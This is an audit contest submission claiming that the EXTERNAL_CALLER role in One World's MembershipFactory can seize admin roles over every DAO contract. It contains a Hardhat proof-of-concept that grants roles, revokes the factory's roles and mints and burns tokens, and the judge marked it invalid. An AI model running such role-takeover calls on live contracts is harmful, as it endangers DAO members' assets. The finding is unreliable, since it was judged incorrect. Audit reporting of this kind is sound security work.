Project
One World
NFTDeFi
15,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

EXTERNAL_CALLER can take full control of every DAO.

timenov

Summary

The EXTERNAL_CALLER role can take full control of a DAO. This can be done by granting him the other roles, which are OWP_FACTORY_ROLE, DAO_CREATOR and DEFAULT_ADMIN_ROLE. At first that EXTERNAL_CALLER in the MembershipFactory is given to the deployer of that contract, but later can be changed and abused.

Vulnerability Details

When a user wants to deploy a MembershipERC1155, he calls MembershipFactory::createNewDAOMembership. This will call MembershipERC1155::initialize.

function initialize(
string memory name_,
string memory symbol_,
string memory uri_,
address creator_,
address currency_
) external initializer {
_name = name_;
_symbol = symbol_;
creator = creator_;
currency = currency_;
_setURI(uri_);
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
_grantRole(DAO_CREATOR, creator_);
_grantRole(OWP_FACTORY_ROLE, msg.sender);
}

As can be seen the DEFAULT_ADMIN_ROLE and OWP_FACTORY_ROLE will be the factory contract itself. Later on in the future when the EXTERNAL_CALLER is changed, he will have the permission to call MembershipFactory::callExternalContract. He can choose the address to call and the data passed to that call. The called address will have the msg.sender == factory. So by choosing an existing MembershipERC1155, he can act as a DEFAULT_ADMIN_ROLE or OWP_FACTORY_ROLE. In fact he can make himself the holder of these roles and abuse the DAO.

Impact

Impact: High - EXTERNAL_CALLER can call any function of any DAO.
Likelihood: Low - as it requires a change of EXTERNAL_CALLER to malicious actor.
Overall: Medium

Proof of Concept

Add the following code to the Hardhat tests:

describe.only('Vulnerability tests', function () {
beforeEach(async function () {
await currencyManager.addCurrency(testERC20.address); // Assume addCurrency function exists in CurrencyManager
await membershipFactory.createNewDAOMembership(DAOConfig, TierConfig);
const ensAddress = await membershipFactory.getENSAddress('testdao.eth');
membershipERC1155 = await MembershipERC1155.attach(ensAddress);
});
​
it('External caller can act as admin for DAO', async function () {
// Helper constants
const newExternalCaller = addrs[0];
const externalCallerRole = ethers.utils.keccak256(ethers.utils.toUtf8Bytes('EXTERNAL_CALLER'));
const owpFactoryRole = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("OWP_FACTORY_ROLE"));
const adminRole = await membershipERC1155.getRoleAdmin(externalCallerRole);
​
console.log("------------------------------------------------------------------");
console.log("------------------------Initial setup-----------------------------");
console.log("------------------------------------------------------------------");
​
let admin = await membershipERC1155.hasRole(
adminRole,
membershipFactory.address
);
​
console.log("The initial admin is the factory: " + admin);
​
console.log("Granting the EXTERNAL_ROLE to third party.");
​
await membershipFactory.grantRole(externalCallerRole, newExternalCaller.address);
const hasExternalRole = await membershipFactory.hasRole(externalCallerRole, newExternalCaller.address);
console.log("The EXTERNAL_ROLE is changed: " + hasExternalRole);
​
console.log("------------------------------------------------------------------");
console.log("-----------------------Start of attack----------------------------");
console.log("------------------------------------------------------------------");
​
// EXTERNAL_CALLER calls MembershipFactory::callExternalContract()
const data = membershipERC1155.interface.encodeFunctionData('grantRole', [
adminRole,
newExternalCaller.address,
]);
​
await membershipFactory.connect(newExternalCaller).callExternalContract(membershipERC1155.address, data);
​
admin = await membershipERC1155.hasRole(adminRole, newExternalCaller.address);
console.log("The DEFAULT_ADMIN_ROLE is given to EXTERNAL_CALLER: " + admin);
​
// EXTERNAL_CALLER revokes the DEFAULT_ADMIN_ROLE from the factory
await membershipERC1155.connect(newExternalCaller).revokeRole(adminRole, membershipFactory.address);
​
admin = await membershipERC1155.hasRole(adminRole, membershipFactory.address);
console.log("The factory has DEFAULT_ADMIN_ROLE: " + admin);
​
let owpFactory = await membershipERC1155.hasRole(owpFactoryRole, membershipFactory.address);
console.log("The factory has OWP_FACTORY_ROLE " + owpFactory);
​
// EXTERNAL_CALLER revokes the OWP_FACTORY_ROLE from the factory
await membershipERC1155.connect(newExternalCaller).revokeRole(owpFactoryRole, membershipFactory.address);
owpFactory = await membershipERC1155.hasRole(owpFactoryRole, membershipFactory.address);
console.log("The factory has OWP_FACTORY_ROLE " + owpFactory);
​
// EXTERNAL_CALLER grants himself OWP_FACTORY_ROLE
await membershipERC1155.connect(newExternalCaller).grantRole(owpFactoryRole, newExternalCaller.address);
owpFactory = await membershipERC1155.hasRole(owpFactoryRole, newExternalCaller.address);
console.log("The EXTERNAL_CALLER has OWP_FACTORY_ROLE " + owpFactory);
​
// EXTERNAL_CALLER has full control of the membershipERC1155 and can mint/burn
let extenalCallerBalance = await membershipERC1155.balanceOf(newExternalCaller.address, 1);
console.log("Initial EXTERNAL_CALLER balance: " + extenalCallerBalance);
​
await membershipERC1155.connect(newExternalCaller).mint(newExternalCaller.address, 1, 10);
extenalCallerBalance = await membershipERC1155.balanceOf(newExternalCaller.address, 1);
console.log("EXTERNAL_CALLER balance after mint: " + extenalCallerBalance);
​
// Burning is for the sake of testing, EXTERNAL_CALLER can burn anyone's tokens
await membershipERC1155.connect(newExternalCaller).burn(newExternalCaller.address, 1, 10);
extenalCallerBalance = await membershipERC1155.balanceOf(newExternalCaller.address, 1);
console.log("EXTERNAL_CALLER balance after burn: " + extenalCallerBalance);
});
});

After running the tests, we get the following logs:

MembershipFactory
Vulnerability tests
------------------------------------------------------------------
------------------------Initial setup-----------------------------
------------------------------------------------------------------
The initial admin is the factory: true
Granting the EXTERNAL_ROLE to third party.
The EXTERNAL_ROLE is changed: true
------------------------------------------------------------------
-----------------------Start of attack----------------------------
------------------------------------------------------------------
The DEFAULT_ADMIN_ROLE is given to EXTERNAL_CALLER: true
The factory has DEFAULT_ADMIN_ROLE: false
The factory has OWP_FACTORY_ROLE true
The factory has OWP_FACTORY_ROLE false
The EXTERNAL_CALLER has OWP_FACTORY_ROLE true
Initial EXTERNAL_CALLER balance: 0
EXTERNAL_CALLER balance after mint: 10
EXTERNAL_CALLER balance after burn: 0
✔ External caller can act as admin for DAO (396ms, 398451 gas)
​
​
1 passing (5s)

Tools Used

Manual Review, Hardhat

Recommendations

Consider the following:

  1. Introduce an address variable in the factory called admin, which will be the deployer of the factory.

  2. Instead of passing the factory as the DEFAULT_ADMIN_ROLE in MembershipERC1155::initialize, pass the admin of the factory.

  3. Add functions to factory for changing the admin with access control modifier.

  4. Optionally restrict the callExternalContract function to not be able to call already deployed DAOs.

Updates

Lead Judging Commences

0xbrivan2 Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.